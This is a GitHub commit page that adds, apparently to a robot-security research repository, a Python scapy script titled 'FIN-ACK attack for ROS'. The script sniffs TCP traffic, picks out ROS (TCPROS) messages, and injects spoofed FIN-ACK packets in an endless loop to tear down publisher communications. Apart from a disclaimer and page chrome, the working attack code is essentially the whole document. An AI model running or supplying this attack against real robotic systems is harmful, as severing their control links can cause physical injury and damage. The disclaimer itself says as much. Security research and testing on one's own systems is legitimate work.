-
Notifications
You must be signed in to change notification settings - Fork 47
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Signed-off-by: Víctor Mayoral Vilches <[email protected]>
- Loading branch information
Showing
10 changed files
with
1,334 additions
and
6 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
# TODO |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,80 @@ | ||
""" | ||
FIN-ACK attack for ROS | ||
DISCLAIMER: Use against your own hosts only! By no means I encourage or promote the unauthorized tampering with running robotic systems. This can cause serious human harm and material damages. | ||
""" | ||
|
||
import sys | ||
|
||
from scapy.all import * | ||
from scapy.layers.inet import TCP | ||
from scapy.layers.l2 import Ether | ||
from scapy.contrib.tcpros import * | ||
|
||
bind_layers(TCP, TCPROS) | ||
bind_layers(HTTPRequest, XMLRPC) | ||
bind_layers(HTTPResponse, XMLRPC) | ||
|
||
|
||
# bind layers so that packages are recognized as TCPROS | ||
bind_layers(TCP, TCPROS) | ||
|
||
|
||
def tcpros_fin_ack(): | ||
""" | ||
crafting a FIN ACK interrupting publisher's comms | ||
""" | ||
flag_valid = True | ||
targetp = None | ||
targetp_ack = None | ||
# fetch 10 tcp packages | ||
while flag_valid: | ||
packages = sniff(iface="eth0", filter="tcp", count=4) | ||
if len(packages[TCPROSBody]) < 1: | ||
continue | ||
else: | ||
# find first TCPROSBody and pick a target | ||
targetp = packages[TCPROSBody][-1] # pick latest instance | ||
index = packages.index(packages[TCPROSBody][-1]) | ||
for i in range(index + 1, len(packages)): | ||
targetp_ack = packages[i] | ||
# check if the ack matches appropriately | ||
if ( | ||
targetp[IP].src == targetp_ack[IP].dst | ||
and targetp[IP].dst == targetp_ack[IP].src | ||
and targetp[TCP].sport == targetp_ack[TCP].dport | ||
and targetp[TCP].dport == targetp_ack[TCP].sport | ||
and targetp[TCP].ack == targetp_ack[TCP].seq | ||
): | ||
flag_valid = False | ||
break | ||
|
||
if not flag_valid and targetp_ack and targetp: | ||
# Option 2 | ||
p_attack = IP( | ||
src=targetp[IP].src, dst=targetp[IP].dst, id=targetp[IP].id + 1, ttl=99 | ||
) / TCP( | ||
sport=targetp[TCP].sport, | ||
dport=targetp[TCP].dport, | ||
flags="FA", | ||
seq=targetp_ack[TCP].ack, | ||
ack=targetp_ack[TCP].seq, | ||
) | ||
|
||
ans = sr1(p_attack, retry=0, timeout=1) | ||
|
||
if ans and len(ans) > 0 and ans[TCP].flags == "FA": | ||
p_ack = IP( | ||
src=targetp[IP].src, dst=targetp[IP].dst, id=targetp[IP].id + 1, ttl=99 | ||
) / TCP( | ||
sport=targetp[TCP].sport, | ||
dport=targetp[TCP].dport, | ||
flags="A", | ||
seq=ans[TCP].ack, | ||
ack=ans[TCP].seq + 1, | ||
) | ||
send(p_ack) | ||
|
||
|
||
while True: | ||
tcpros_fin_ack() |
Oops, something went wrong.